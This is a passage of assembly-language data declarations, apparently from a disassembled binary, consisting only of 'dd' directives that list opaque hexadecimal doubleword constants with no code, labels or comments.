82C6278h, 99029063h dd 28ED026Bh, 2937502h, 0CB037701h, 204010CEh, 62743871h dd 2244410h, 20EB465Fh, 253E6910h, 0F4512A37h, 88C6043Ah dd 840E406h, 54B9E662h, 0A0A80F47h, 1816810Ch, 109F63BFh dd 20192D6Fh, 2C085D9Dh, 14AFF11h, 2888DCD8h, 7D0869FDh dd 79030C8Ah, 87808CD1h, 0A428CCC3h, 1562A7A1h, 2CF0B68h dd 6F035C40h, 0A81018D6h, 3FDC08BFh, 113618C6h, 0C1802030h dd 4580B354h, 0C4169C40h, 4394319h, 19063CBAh, 58B00885h dd 0C46808C6h, 0B86E2A28h, 8A26ED4h, 0C8266CEBh, 72FA10CDh dd 81BBC980h, 4B699592h, 0A11B33F0h, 2D611096h, 2E10194Dh dd 88C89F1h, 1728DE23h, 0B408CA65h, 6F57FC44h, 65B2004h dd 2020D826h, 0F8208D33h, 0A7B23198h, 8CA17418h, 182F9008h dd 7DC040A4h, 648C1950h, 0C007B1CAh, 1B757988h, 91EC8178h dd 282D02Ch, 0A280A698h, 73223161h, 8C846E18h, 18D9FD08h dd 600C62C1h, 61029721h, 0A3D50340h, 0C6882019h, 0BC518208h dd 6301208Eh, 45A2011Fh, 8C5FB601h, 30BCA108h, 8A462AAh dd 6049441Eh, 14088833h, 0B0210A3Bh, 1063999Ch, 2B69882Fh dd 3831083Ah, 158C2408h, 0F73AE468h, 0A0A93FC0h, 74BC24A1h dd 4F20CC63h, 100810D2h, 3C0324D0h, 830EB8Ch, 1071CC09h dd 91C6AD41h, 620823CEh, 9AE1893Eh, 286F702h, 94820811h dd 1F036CC8h, 49101004h, 0D8E42A64h, 10741231h, 889655Ch dd 5C28A947h, 325188F0h, 831A80Ch, 18AA6693h, 1F328959h dd 49135810h, 0F051DB9Ch, 0C00199B1h, 0C420920Fh, 235F4449h dd 20FF3CB4h, 657DA6F9h, 0CCC92A80h, 0C2394B10h, 3C9051DFh dd 7ED13F31h, 73189DD7h, 0DB363160h, 17B3C10h, 8982781h dd 1B93E933h, 0E8950C6h, 0C8E2008h, 0F4FCB955h, 775BC63Dh dd 40D30040h, 0B5B093F9h, 816CF487h, 80AD7C11h, 0AEEC2010h dd 21FDA7Fh, 0E11553B6h, 80E93199h, 625F0F5h, 0BE205A00h dd 1C6B13CEh, 0BC7E014Eh, 0D8E84708h, 58B86324h, 0B2150098h dd 55E50D3Bh, 1E330CC1h dd 0A9509B3Ah, 0D950FD01h, 299C4BA6h, 1674A1B9h, 404C76BBh dd 4B8726B8h, 42009871h, 86A5C1BFh, 2BB5D2h, 115563BCh dd 0BD67F3A6h, 1DE0CAFCh, 605EE330h, 384ABFDh, 403F0CFh dd 59886EEDh, 81B7C521h, 4F3B6924h, 0A99D8C40h, 0ED410570h dd 0D2631EE2h, 84F449F8h, 1086380Ch, 385562E4h, 74DC84EAh dd 9245300h, 2DBF63Fh, 76AEA57Dh, 808E12ECh, 3200C5EFh dd 5EB4A2BBh, 0EEA6E100h, 0F35AFE22h, 0B0B76034h, 4EA76E0Eh dd 0C0B6DE00h, 7F260712h, 8086062h, 404A579Fh, 0F4DC0F2Ch dd 51C52240h, 0FE0825B4h, 406488h, 0F39DAF15h, 0DE78AAA8h dd 2B69D101h, 0C39C06Eh, 3055509Bh, 3520A6D8h, 0B392C207h dd 0C8401DABh, 0E85756E1h, 10C01450h, 6200CCDDh, 4DC56959h dd 0F4042996h, 0C18835F3h, 7618B013h, 60E1023Ch, 0E51D68F0h dd 53C61F23h, 7748B098h, 0ECA9B4A6h, 0C4A8404Eh, 767BEA48h dd 0DD189D60h, 14DBAEFEh, 0B4290F1Dh, 4506D16Fh, 41291070h dd 0F0E800Eh, 0BBBF81B9h, 0C5240BCh, 18C072DAh, 3882831Dh dd 0BC7C7FDBh, 0DC59F915h, 1CC3A98h, 1E5F01EFh, 618011E5h dd 0C68E4DF7h, 1F04B77Ch, 0E971F3FCh, 84004094h, 0FA092BC9h dd 46573A9Bh, 0BACFF30Ah, 0DA2A40E0h, 682FC6A0h, 4D68C1A3h dd 37696820h, 70A0D917h, 0C404757h, 6740E4A6h, 1DF380CCh dd 5E50CB62h, 44D26Ch, 0D7DBF93Fh, 0F0AEAF1Eh, 6B207490h dd 0F0567E92h, 0DE28A004h, 0A1239039h, 246C9F58h, 8F1CD303h dd 77A0101Eh, 58C22C17h, 0AA865A33h, 0B0A308F0h, 6DA8803Bh dd 181E0BCEh, 0B890AB85h, 11C43B7h, 0F84056C8h, 25F0F3h dd 2A60950h, 3C9D98B3h, 9C46DFDBh, 122E8520h, 19064BEAh dd 0BFC038h, 7AD632h, 786E0F9Dh, 692627BDh, 88BE5A30h dd 60747767h, 0B96FB057h, 0FD032066h, 485EE6D3h, 9B65E0BAh dd 0D5F50680h, 6801951Dh, 4F184278h, 98814ECBh, 0A6498019h dd 7A08ACF0h, 7C34DF3h, 833DB5F5h, 0C80032ABh, 99EB1C5Eh dd 140A262h, 0D6014719h, 0D11E0D6Ch, 0F441004Dh, 92B80B08h dd 0C083CD63h, 1907DFA5h, 75889877h, 0B82B2C4Fh, 688531ACh dd 0F1DDFDE0h, 65BBDCB9h, 83E79CA3h, 287C9C2Bh, 5EEF480Ah dd 6941FC6Ah, 8440ECD2h, 3EA0AFB7h, 4C008F8Ch, 41F3BAC4h dd 0D79D004h, 0B788300h, 8646B472h, 0E8DA019Dh, 82561A5Eh dd 0B769C097h, 0A170516Eh, 9686657h, 3B01FC68h, 8A88A5A3h dd 0B244F060h, 0A9CE900Eh, 873400E3h, 67E063h, 0CB84F541h dd 0F4779DF1h, 0E4910576h, 3F895CA3h, 0AE5804F7h, 5CDE84C1h dd 647D188Ch, 0F8920440h, 0CC80A516h, 8D31020h, 0D8D75011h dd 0F86540F1h, 498BA00h, 7FF60A94h, 0F7AE0CB5h, 1D51F140h dd 9D0BAF2Ch, 13744B0Bh, 2277D91Ch, 1872419Dh, 1561807h dd 0F02A9C90h, 6A1EF412h, 9809DA5h, 1E02F2A9h, 1848B271h dd 98E43769h, 800F87CCh, 745EAEBDh, 1A8C4CCh, 10706480h dd 6A7301Eh, 0B3329938h, 0BF49A00h, 0EB812777h, 60A500D4h dd 1DE81F5Ch, 37006F4Ch, 0A62692E5h, 257D0h, 9F4BC08Ah dd 7C9D8189h, 71561E1Bh, 0DAEDC050h, 0EF975CB6h, 34E0132Dh dd 9E000A51h, 646F265Fh, 0C4B420F8h, 9494DF9h, 6740F47h dd 101360h, 0DBD0FAC5h, 92C555Eh, 0B61E6918h, 309EBBE0h dd 1C088AD6h, 8F015B71h, 0DBF38046h, 0CD54503h, 0E9A0E8B0h dd 94A0048Dh, 0C1809E50h, 0B9FC1FC4h, 0CE60809Ch, 0D276BC1Bh dd 9FCD6812h, 0CBBD3805h, 0BBAE08C1h, 99CE1820h, 60D424FCh dd 2A1968B7h, 0E7CB68C7h, 8070B253h, 9A51FB0Fh, 3ECDF0D8h dd 0F80F895Ah, 570AF72Fh, 715089E8h, 0D1D3E40Eh, 50F21DF4h dd 0D0C3C5E4h, 0CBA50E00h, 0D6D9E287h, 1097CC1h, 562B13A1h dd 0BA58BEF3h, 686C0540h, 8C45CD5Ch, 18C0D3E9h, 9A9D67h dd 0D63E5F8Bh, 41FE6AD9h, 0FA0DFB00h, 3FDF66C6h, 88CB0EF8h dd 61C09BBBh, 0E8B3B418h, 0A27D358h, 0C8432999h, 125EE488h dd 0A59C0447h, 4853EB85h, 0C0621452h, 0C050EA58h, 5094692Ch dd 60A846h, 0B002909Eh, 388BA61Bh, 1333B900h, 86235F99h dd 0F8E70646h, 3064AF69h, 34F00CB2h, 1B58B260h, 30490471h dd 4B10F340h, 27039499h, 881E83F4h, 0FA9003AFh, 5C80CD8Fh dd 0F78D08Ch, 5305F6A5h, 868D778Ch, 94B5B400h, 5A3276B8h dd 0F08CF43Bh, 0A3291502h, 81D174F3h, 0D72C76ACh, 0A422DCD1h dd 0FCF742C0h, 3659C11Dh, 0E18041F8h, 60A835B9h, 9B40E634h dd 7A230F5Eh, 68822A38h, 1C6BBFD8h, 0CD9004DDh, 220801Ah dd 9100B7C6h, 0F965DF8Eh, 5C3774Bh, 800F76CBh, 0F04030B5h dd 3D662CF3h, 2E185860h, 8B68DD61h, 0DC8383FCh, 0D0F55D76h dd 36F38450h, 5F306564h, 0F54C10F0h, 85B2D840h, 0ACED120Fh dd 56A1161Dh, 0CE50083Ch, 0A6294CC0h, 0C5060066h, 841152E9h dd 0E53162A5h, 0F6C6F035h, 2443E464h, 2A0051F8h, 0CD363AA0h dd 0D91E127Bh, 0DC449213h, 2BC85F02h, 0EB8E6884h, 5D723002h dd 1180680Fh, 895201A6h, 76E649B5h, 0BAC434F1h, 0C7CD9B01h dd 73F3FFA4h, 0CE48C64h, 0DD0F403Ah, 227D9EB9h, 1F77600Ch dd 26CC38A9h, 0A498454Eh, 23828A2h, 8C32DC3Fh, 0E4C0934Ah dd 0BB80EE11h, 0F081DB3h, 0B8D052B7h, 0B16D112Ch, 553690Ch dd 0D44C51B0h, 211D8718h, 5804606Ch, 2D249F4Ch, 0D2DD00F6h dd 0E8EE7769h, 2CA42894h, 9268CC05h, 0BC86F490h, 161094B8h dd 7614077Fh, 0B4309C60h, 77058405h, 648017C0h, 4754073h dd 1569F4C6h, 0C49C9095h, 0F8BAF608h, 4C31F74Bh, 8034DD1Dh dd 0EC0D5241h, 82A5760Ch, 0F54AD020h, 9841340Dh, 7F097422h dd 4030AF15h, 20A01041h, 0BF506E0Eh, 7F01F80Ch, 776DA4C3h dd 0B5003CF3h, 2100C298h, 7F4BA50Dh, 58345C9Fh, 460110D6h dd 0F34F2BD5h, 84002F05h, 0F1803CE4h, 0CF1D15DBh, 0C5C8C3Fh dd 78AD7F10h, 602F806h, 17E8CAD2h, 0E04AF3FCh, 1E18016Ch dd 0F4E937B9h, 43D40038h, 72D5FDBAh, 849CC55h, 80251ED8h dd 0A608513Ah, 4B41ECA8h, 60C0F99Ah, 9C1E101Dh, 72FD0B71h dd 0F9CC1010h, 0B44B00A6h, 9C8CB708h, 0E0A2470Dh, 3CA0904Ch dd 6D803701h, 0F9950008h, 7C09F3E3h, 0AB0CD697h, 20453176h dd 6B4A133h, 7C546028h, 9C51749Eh, 0E7CCA30h, 0E483D312h dd 0E6C71698h, 0F328110Eh, 47095046h, 5B6768h, 9C24090Ch dd 0B6B10B30h, 5820E21Ch, 0C4F421Eh, 611D5CAEh, 24603777h dd 84AD3h, 9839B2D0h, 6B4AD21Eh, 130D5805h, 6E3EB0C0h dd 705F13D5h, 141351h, 0F542270Ch, 7A0A257Dh, 0D06688F3h dd 17D5330Fh, 0BE1B7C71h, 10F2024h, 0A140E3D8h, 61FC1F56h dd 76802450h, 532920h, 0AF5283ACh, 2BF3F8CEh, 0F7481D61h dd 0B073A0BAh, 56539C00h, 5E26071Ah, 7FDBAE1Fh, 536424h dd 7EEB8CD8h, 0AEC625F2h, 29730501h, 0A89F6C78h, 475C042Eh dd 6E4081BEh, 49F602D1h, 69103F94h, 9CA0ED5Fh, 0E896DBCFh dd 0C8C0ABE4h, 4878CD03h, 6ECB6845h, 496CC98h, 0B877AB80h dd 2FE72044h, 98D9C480h, 0A0ADD9CCh, 0A7DB12CDh, 4B7C005Ah dd 25E7EA6Eh, 7B1BD802h, 502755D9h, 6BA530E0h, 537A1EF4h dd 3BFBEB74h, 0D4FB680Ah, 509D7242h, 48763F2Ch, 306C39E0h dd 5F303A0Dh, 8F390CBh, 7D250263h, 1DA176BDh, 0D0071078h dd 0C04267ADh, 4ACE9081h, 40EC1871h, 3D84A4F6h, 780E156h dd 0A091B27Dh, 84306F09h dd 0C41B895h, 0FFA0132h, 0A76A5EE7h, 0C0B9E0B5h, 225F1F14h dd 9DF70008h, 0B6575D10h, 68C11A7Eh, 7848618Eh, 0A512169h dd 0A684F8A0h, 9C86DA01h, 0F1F4DC7Eh, 0A22C34h, 2706EC4Ah dd 0C43999C5h, 0C1005BE0h, 0CF616687h, 79084A2Ah, 231D1245h dd 1A148026h, 0D200DE02h, 0AF19E61h, 7965BEE4h, 0CD762563h dd 64906858h, 69006170h, 7414040Ch, 267764C4h, 82DC51CBh dd 2F57D38Ah, 46CFEC68h, 0C263898h, 0F891D472h, 1E98249Fh dd 5E10F006h, 430EE16Ch, 0BEC0CD0Eh, 68822410h, 8480D553h dd 52175F62h, 6039842Ch, 0C1035409h, 59ACB158h, 0EA4B8014h dd 5DC7E13Eh, 0AF4E0417h, 7C0BD056h, 3EE024FCh, 729DAC81h dd 0A5004868h, 0EF27958Ah, 0E4EA4C0Eh, 2E0F9102h, 0E26ADC26h dd 436491E0h, 0B47F9420h, 0AF980C24h, 0C65DD518h, 0C0FB1600h dd 0F0401C00h, 3E57CF7Fh, 6F130F69h, 0F5EC42B9h, 0B0C82A76h dd 149B667Dh, 0CC9A048Ah, 0AF72F103h, 6D6D0E7h, 0B76801A6h dd 0F3CDC818h, 493C2243h, 69406144h, 88402586h, 611DDA59h dd 0B56889B7h, 0B3080E3h, 52CB2975h, 0F8A4607Bh, 71D75709h dd 74AD0F00h, 0F6B58AC0h, 0E27DF252h, 47580765h, 0C00770F9h dd 37E662CFh, 9F1238B0h, 473FDh, 0B503A2F3h, 8125E3E9h dd 3F648253h, 0C07200F4h, 0BE164B99h, 0B4A0EF76h, 0CE603C65h dd 47FF6A17h, 0CBB34B58h, 61731090h, 0EA558h, 0D3051140h dd 98EB1DDh, 67196824h, 9F24E0E6h, 57930418h, 10EDCF0h dd 7153D4ADh, 34B29B1Eh, 0DB01BD08h, 0BBCF1108h, 0E052C6D7h dd 0EF200F30h, 879B7B04h, 7404A575h, 2B80B35Ah, 135A4B0h dd 0A6129467h, 0D43416CFh, 85775415h, 3FB16813h, 0E49D644Ah dd 26D90B4Fh, 0CA9FBDCh, 0E2CBF3F0h, 0DE480620h, 2D64D08Ch dd 0B718601Eh, 22D4146Ah, 0E909898Eh, 9045092Eh, 8108F400h dd 2765B6B7h, 0CD8A5F8h, 0E0530B4h, 0CA0791Eh, 909EF8FBh dd 0F58C0120h, 19F3FA70h, 0B2944063h, 69000387h, 0D89BBB6Ah dd 0C65AB0h, 0F7D36FB3h, 586C9E60h, 25BC4A02h, 0D827F4D0h dd 685E0388h, 51723422h, 455C83A9h, 96647780h, 8F008186h dd 98CB6A5Fh, 409FC8h, 6010BDFFh, 4E22B76Fh, 0B860B64Bh dd 7FEEE64Bh, 25FF166Ch, 1E3D07D1h, 295590E8h, 0BC9CF381h dd 1D648B01h, 0C3094F8h, 741A0205h, 2209681Fh, 7D404808h dd 1A6AECDh, 6C4FA711h, 8087A51Eh, 97CBF7A0h, 385ACCEh dd 0F3C1EB12h, 0B4A4B57Ah, 0BC185508h, 90A86F08h, 0EC772068h dd 870A9B3Dh, 0AD69A943h, 0E17E5C3h, 22596478h, 5B734C81h dd 0B63F30B3h, 96F9800h, 0BBF39FEEh, 0DA60C0C1h, 0C334058Ah dd 0B9EB700h, 4BC03F67h, 0A6DD1F99h, 0D680B913h, 58E0639Dh dd 7660ADF3h, 617E0F38h, 7405009Ch, 1049B79Fh, 0DA011141h dd 0CCA8EDAFh, 9078B1B4h, 5789033Dh, 0E4A8ACD1h, 0A82619D8h dd 0F51EF965h, 0F3845366h, 60167AEBh, 0E8007FF5h, 4B637E05h dd 12A4A496h, 34CDA0CCh, 0D7C402D4h, 7BC096BAh, 4C004FEBh dd 895D0FE8h, 7EC4341h, 1E0811C1h, 488019C7h, 249EE2DAh dd 51D9C61Eh, 184F9052h, 0CC60D044h, 136BA608h, 0C2DC56C2h dd 0D004185h, 1DD32084h, 5CC4801Ah, 403A7EA1h, 0B89732F3h dd 203C7850h, 7610AE06h, 0A500FB26h, 0E69232DAh, 0DE095336h dd 0E02768D4h, 0A063A0h, 761AC94Bh, 0DFD2D3A5h, 0B9882450h dd 48548240h, 7F8F04E1h, 8894F58Eh, 1D1E0A09h, 0BD9C2420h dd 0A04C9BEDh, 56AD0004h, 0D265FB15h, 70B0CDh, 2CA383FFh dd 0A5FCC911h, 0FD2D7F0Fh, 0E9CC00AAh, 0A0C4B91Eh, 4BBAD90h dd 0B46869DFh, 0C1AC8042h, 84541E7Dh, 0EF09EA80h, 1189616h dd 9D8B1B8Ch, 3860B5D5h, 0C60D07D4h, 8053E574h, 80BAC7C0h dd 8C577630h, 0BA0E25F3h, 0CCF52084h, 46FC7100h, 0C6C5ED0Fh dd 0C0F31825h, 750554CFh, 0AC4CB703h, 8BE8F81Eh, 80F9A661h dd 802637D8h, 80FE53E4h, 0F6E93C94h, 17500EA0h, 0E367B762h dd 11596C43h, 2AF308CCh, 0D9560CECh, 1441C810h, 4A4CE840h dd 0B242059Ah, 0CE4E51h, 6837E5C4h, 195398Bh, 0DD277708h dd 282DDCF1h, 3C88092Ch, 9C60817h, 40442118h, 0A4026FE9h dd 0F02B710Bh, 0B1400054h, 69DD4B96h, 1C9A1DF7h, 453C6D09h dd 0A97C8FDAh, 0F9F4E056h, 0A098834Dh, 24B00F29h, 9928D540h dd 2C09A714h, 0CD077440h, 26E2227h, 79DF56C4h, 0CF990004h dd 0F355C0F6h, 7680D7FAh, 43404FA0h, 0C5204ED8h, 23E94BF8h dd 0E083B01h, 0C4557D26h, 1C48E82Dh, 92672A04h, 0C55A00BAh dd 1DC01A4Fh, 1DCF546h, 0A76E6DAh, 7E9442D3h, 0F3C18463h dd 63C46421h, 431E5090h, 0D3816807h, 756E4C03h, 98D231ECh dd 0D4AA3018h, 0D50EBFB8h, 77802804h, 18A886D1h, 0CCE008D2h dd 0A7C429AFh, 9F07CB6Ch, 775215C0h, 74019D41h, 651C69E7h dd 296065DCh, 0A2670218h, 5141FAD2h, 0B0A0B0h, 12A4EA02h dd 0C9459F73h, 1E8FC104h, 9B0084FCh, 1CA66775h, 726D4C00h dd 0DEE24516h, 81F410D9h, 9EF73506h, 59EF6044h, 0B13A9D01h dd 41AC70E9h, 90D809Ah, 209C631Eh, 60E3CAEBh, 14CD66D9h dd 0C614C83h, 9E9F4A01h, 0FB325747h, 4B03FEC8h, 4C2CF94Dh dd 4DB90ECEh, 76678FA5h, 40D18100h, 9682FBh, 3F5794BDh dd 0E7924BF8h, 6773AB01h, 54C44ABFh, 241EDAC4h, 83089677h dd 0CDF4D325h, 2976A109h, 0BEC8A22Dh, 0BB8597Dh, 0A4126DA5h dd 0EA0930D0h, 68351EBAh, 9F324h, 8A07D6E8h, 6E683057h dd 6730CC60h, 8F1A5Fh, 0C1DCDA7Eh, 8AA602F9h, 0D41AECAAh dd 7E33FC41h, 68D36001h, 209EB465h, 8222762h, 0F0E081A7h dd 0C1D31FEAh, 8B4DF00h, 0F1A9B369h, 30781422h, 0CCB1F16Eh dd 0EC584908h, 0CE360020h, 0C020A41h, 0EF281F78h, 0E1CB8005h dd 44205EBDh, 0A17D307h, 101E2A1h, 66204062h, 65E80BACh dd 0C8C0FDB2h, 0FA176D16h, 0B0F06A1Dh, 0D6F42C09h, 8AF787C0h dd 9C934B58h, 0AC5280C1h, 0A116B811h, 2EB628A4h, 0E954BE4Eh dd 1D17B4C6h, 78409065h, 0EA26964Dh, 88D24B8Ch, 21029B40h dd 0B3B0F6F3h, 0D340C0DDh, 6284A032h, 0A834540Fh, 0F4CD5D7Fh dd 0A2CE4BC5h, 30B348CCh, 870F685Fh, 1ED53CBCh, 20F12893h dd 7653F440h, 540982FAh, 81AA8DC3h, 0CB0E9394h, 285CC42h dd 0AB02A42Eh, 1E0860BDh, 1D20C21Bh, 44C0FADBh, 870FB2F8h dd 166D829h, 0B3E2C139h, 97C0EFD1h, 0F66303A5h, 0FF701E0Eh dd 0C3983000h, 0F39A9DE5h, 0F4009726h, 72FE3CAFh, 90E30A2Dh dd 0BED2F374h, 5C9C0008h, 1BFA3EC7h, 954B7A1Ch, 0F9ADA641h dd 0B03841EBh, 0E0E759A0h, 0BC495Ch, 0A2209E11h, 4EF0C40h dd 776AE2C2h, 0ACFCADh, 12C6696Dh, 1040B9h, 0B76F960Ch dd 7DD36B5Eh, 689CCC04h, 38A4D9E9h, 91D02E45h, 0D26D0B88h dd 6FE0B4C3h, 920F0BA1h, 856065F6h, 58D27976h, 135C50CDh dd 0F088691Dh, 8A7F4B34h, 9CD5D092h, 0CF7A007Ch, 61E6C0C9h dd 1654B20Fh, 0D7A94C76h, 27C5A31Ch, 6439F3F8h, 31DE40C1h dd 0EAE8F740h, 0FD8325B3h, 0E092D843h, 0D5C3A082h, 0E4245E02h dd 5868B6B4h, 4E4832DEh, 911D0BD8h, 0B27CC402h, 9C24B8F0h dd 0C67644E8h, 0D2649860h, 1097FC96h, 6348CBB2h, 26F1F030h dd 6B200477h, 8280DCC9h, 4A005858h, 3D4FB72h, 0C21F601Dh dd 5904E073h, 54A6F8B7h, 0F3F59880h, 1809634Ah, 88128406h dd 18B07E03h, 2B50301Eh dd 69771A39h, 885A59h, 9EFF9D63h, 9229F3CEh, 1E0F0BCCh dd 8CAE55F2h, 74A40629h, 9AB8BCB4h, 12ACF660h, 84EC0BAAh dd 0DC5C5012h, 0D0E6EF12h, 9B4DF704h, 2409929h, 0D000928Ch dd 0C052FD68h, 0A684CB50h, 1E12B8D2h, 0E8D8B1A1h, 72BCA243h dd 0F6252014h, 1F687B09h, 6F3C20C6h, 0B026688h, 47A91DB8h dd 0B601B4E4h, 0A37A09FAh, 7ED463D8h, 825400DEh, 89C1E2D0h dd 4E0067A6h, 945759CAh, 98C51F9Fh, 0BA4A0078h, 86A5DA0Fh dd 9E07B920h, 1E88CBBFh, 7DC5869h, 0A4F7F343h, 2468CB18h dd 205B9776h, 1E02D020h, 12449EE0h, 0DC56FBC1h, 0AD1D3C60h dd 6874BE95h, 4556C0B8h, 0EF61C2E9h, 0E632F3E8h, 2E00186Ch dd 2A63ECE4h, 2B04DE28h, 0B17268B8h, 7C7C488h, 1C22A9C8h dd 866E8073h, 3307FF18h, 7768F7BBh, 25A83DF6h, 0DCC0F5BAh dd 2D0E60D9h, 0C0F381E6h, 0AFE3D0A5h, 0F4120286h, 0CAC175BDh dd 749DCC0Eh, 0E8F550A9h, 8AA5809Ch, 2FE899h, 0A67FEE8h dd 822C2C1Eh, 0DBC080F4h, 0DECD02F4h, 60FB150Fh, 0E9AD609Eh dd 0CD3A5FDh, 0EA82633Ch, 0F000AEC0h, 0D1DE279Ch, 16012969h dd 4D3BBA6h, 14FCF7Ch, 0E10957D9h, 400C4474h, 4A00FE7Bh dd 3FF04099h, 8C7DECh, 98B680C1h, 1A481059h, 1E90D409h dd 0AA28400Eh, 51D4A01Dh, 0CBEA809Fh, 0FD13C0BBh, 0ABC568A7h dd 4CCC576h, 0B38400h, 0A65E7FA5h, 0CB6902E0h, 0F40CF8Ah dd 0B0EA7C56h, 0FDDCE925h, 77160B08h, 70E0C725h, 0EAD6409Dh dd 1003EE2Dh, 2DE8490Ch, 14801556h, 0C8F268D2h, 0DF8824BEh dd 94B50020h, 11BDA591h, 150FA17h, 301D10D8h, 0A9F820E7h dd 234C5F18h, 0F84082ECh, 6F8680Bh, 9AA0BEDEh, 4CD071DBh dd 0FF138499h, 10CB6E12h, 41FDC01Ch, 6BF41133h, 16B83421h dd 456EFE01h, 2D8A68B5h, 1764E840h, 0B46A7D1Eh, 69F807FCh dd 0CD6590F6h, 0CCA882A6h, 8E98F081h, 2C89A724h, 9E35F380h dd 9FDBD69h, 0C4DE4603h, 57889822h, 9D422076h, 9963C0F8h dd 631D2DDBh, 42B05CC3h, 0E37991C4h, 2288969h, 464346CCh dd 0C7762EE4h, 0F7D28370h, 0E3B8A19Dh, 0A6001E1Fh, 4ABD0E6Eh dd 987CB3B8h, 85074E6Ch, 0C110203Ch, 55129DE6h, 3090DFA9h dd 28F33DC4h, 82882073h, 0E898F09Eh, 5480C5F0h, 0B80C806Eh dd 5F0065FCh, 91DBE46Ah, 7DE7C10Fh, 90F56976h, 0D49CF8CCh dd 0D9BC096Bh, 0A9C4085Ch, 3136DA80h, 13BBC3EEh, 4B46D4E7h dd 6416B538h, 4C73B25Fh, 0F7081D7Eh, 5DD1C6E4h, 76131080h dd 0B8B4BD0Dh, 0CB420AA6h, 6801CF8h, 0E967F33Eh, 0C31F9E00h dd 5A68924Bh, 0A66300F6h, 2164F2CFh, 8B77535Dh, 2F9C009h dd 0D2A889ACh, 9D8704B8h, 27E08F7Dh, 0C964E910h, 69E60701h dd 0C0C26C5Fh, 4FCBD5A2h, 680DD227h, 70859974h, 0E4801FEh dd 50B21657h, 5CFAECh, 53094D1Eh, 870E0h, 8A6C56DAh, 62867E0Dh dd 0FB17B70Bh, 136C1B08h, 0E1C45110h, 933F2164h, 90886769h dd 0D9A9406Ch, 19CB5B12h, 0D0648C45h, 9A428700h, 649D1E06h dd 0A0FD58C1h, 743769D8h, 7F8168B0h, 0EC489EB8h, 2C8648CBh dd 58563E18h, 9B26B904h, 3A1693FBh, 0FC5DA412h, 14F95149h dd 972D25F0h, 48E2C8E4h, 0BC98F14Fh, 0ABDC2811h, 0A80324B8h dd 679489E8h, 6B07400Fh, 387B82CBh, 0D1787472h, 0EB301D27h dd 4CF7A884h, 1C77E416h, 4CF0B923h, 0D0704ACEh, 7653F304h dd 548C83A6h, 0AB298496h, 9A00F415h, 8F34557h, 79AD04C0h dd 0C06B5963h, 6ECD0568h, 0A1C36400h, 50954BE2h, 0F55B0018h dd 59B1D2A5h, 0F3274870h, 70081CCh, 78DC2BE2h, 2A6827B7h dd 0C747842h, 0A58ABC26h, 0F3044884h, 0C21FF8BCh, 9A4BF7B9h dd 0E4085089h, 7D9E8914h, 0D6021405h, 7013B9B8h, 1C5D28DFh dd 3A9C6814h, 0B8D43366h, 0CCF8B44Bh, 8994F093h, 7D80AF0Fh dd 1C6B00FEh, 2C566662h, 81247053h, 0EC48B6FDh, 94BC3C5Eh dd 8A82817Ch, 1B3062ADh, 2CE4001Ch, 0E22DAED1h, 0E7606BF3h dd 15B9F7B8h, 1D0499CBh, 1014DA76h, 58106C54h, 9733BF00h dd 0C3B37017h, 2EB44Ch, 7D898B5h, 5BF3C5E7h, 70E01426h dd 669A4700h, 3D02F1D4h, 3B3CD0F2h, 4BF989DFh, 1240D29Fh dd 4583711Eh, 91BBCE38h, 2E720A10h, 0F8C1FC40h, 0F0DEA176h dd 60A19FDCh, 37330CCh, 42A0EA69h, 42545E74h, 68C8BD76h dd 0F448271Dh, 0C8163B9Ch, 0F9680A30h, 779FD0D4h, 0B6128068h dd 54E24E2Fh, 0EF545780h, 7E04E253h, 7FFD6473h, 549ADCB0h dd 1CFF855h, 0DBC296Ch, 832CE5F4h, 0C47ECC50h, 0D3A00435h dd 0A05676E6h, 309DCDF0h, 63EBCC60h, 7181C990h, 1B47825h dd 98F91870h, 0E6B0D441h, 0F0665E01h, 0C5C226Eh, 1DD709BCh dd 0F69C61FFh, 4016D470h, 647BCC3Bh, 0FBE9BC0Bh, 19047061h dd 0C0AC88C1h, 0F1C070FCh, 513CA00h, 40D40C62h, 8C38B911h dd 0FEA9C524h, 0F316A49Ch, 0AB826400h, 31BBD5Bh, 63E94B76h dd 9DD462Ch, 74667CE4h, 94889495h, 68676090h, 0F092C0A3h dd 525DE506h, 198AE8Ch, 0CACF653Ah, 89F74AF3h, 815BA630h dd 701BD45Fh, 0CB1EBDF0h, 0FCE4A218h, 0E9C16771h, 0BF367766h dd 4BB0453Fh, 0A714009Bh, 0E154CE6Ch, 84F25781h, 0A8C0CB8Ch dd 9E2544A1h, 38E627C8h, 7002094Bh, 5A627799h, 0B16E008Ch dd 4BA8BB6Bh, 0F900E071h, 7A25CC09h, 0D2740565h, 30981381h dd 1A28A198h, 0BBB81002h, 0FEFDBE68h, 58C8BE04h, 0D198C185h dd 60F0F554h, 5F0029BCh, 448A421Ch, 3E2133D5h, 0E1690B77h dd 2F20246Ch, 80D100AEh, 4803D7F7h, 0D8C353C1h, 0BCB328F3h dd 3BF03C00h, 0EC301DF9h, 0D0997032h, 0B47A0013h, 0A3569D61h dd 9898F65Bh, 27286B72h, 7778D4C1h, 26611A00h, 43576AD9h dd 6EB312F8h, 2A02DD3h, 5E001FE0h, 18CCD1Bh, 0FF4905D2h dd 0E0D4A5FDh, 500CBBD8h, 281169F3h, 0A6EC064Ch, 0D101EB72h dd 9E246520h, 0A889C9B0h, 48BA1820h, 0EC75F7F0h, 0D0247D81h dd 0DAE48824h, 7488714Eh, 38C48427h, 508C6B5Eh, 54DB44F8h dd 3A10D949h, 0DA945DF9h, 80B44560h, 953D8655h, 0F31287D5h dd 8CE20EE6h, 0EB85C107h, 1BF2C2F1h, 7C9EAC79h, 7742C941h dd 0DC50BCAEh, 15EE9DAh, 0F7990323h, 0D107F5DDh, 0DEF3C458h dd 13FC223Ah, 0ECC84B6Dh, 0F16B4AC9h, 418C029Ch, 0F3E3AC7Ch dd 0FC0CFDCEh, 121AD618h, 0A47515h, 0F58B075Ch, 7A57D6AAh dd 58760B20h, 0B6500163h, 9DE0AB90h, 9B89294h, 0B4E4F380h dd 3C7CFCF2h, 86A57803h, 0DC3A7727h, 0F02F6891h, 0FCC0508Bh dd 4D4068D0h, 0B60500EFh, 0E4A1B7A0h, 4C000E38h, 0CF1580E9h dd 0D3E861h, 59685F1Eh, 0C0626A33h, 1D13E370h, 984960C5h dd 1E385A0Dh, 92534499h, 8BCC0BDAh, 541BE880h, 0F81FCFC9h dd 0D07024F3h, 0E1480419h, 0C13801FFh, 0E269E789h, 9CF08077h dd 54DE5B44h, 82BC396Eh, 0FAB4AE80h, 1FE8D4Bh, 0A6044607h dd 5410D6DAh, 12A79BF1h, 56BFE2h, 0B61CD094h, 4B00E302h dd 0EFEEA07Fh, 68ABD2h, 401E558Fh, 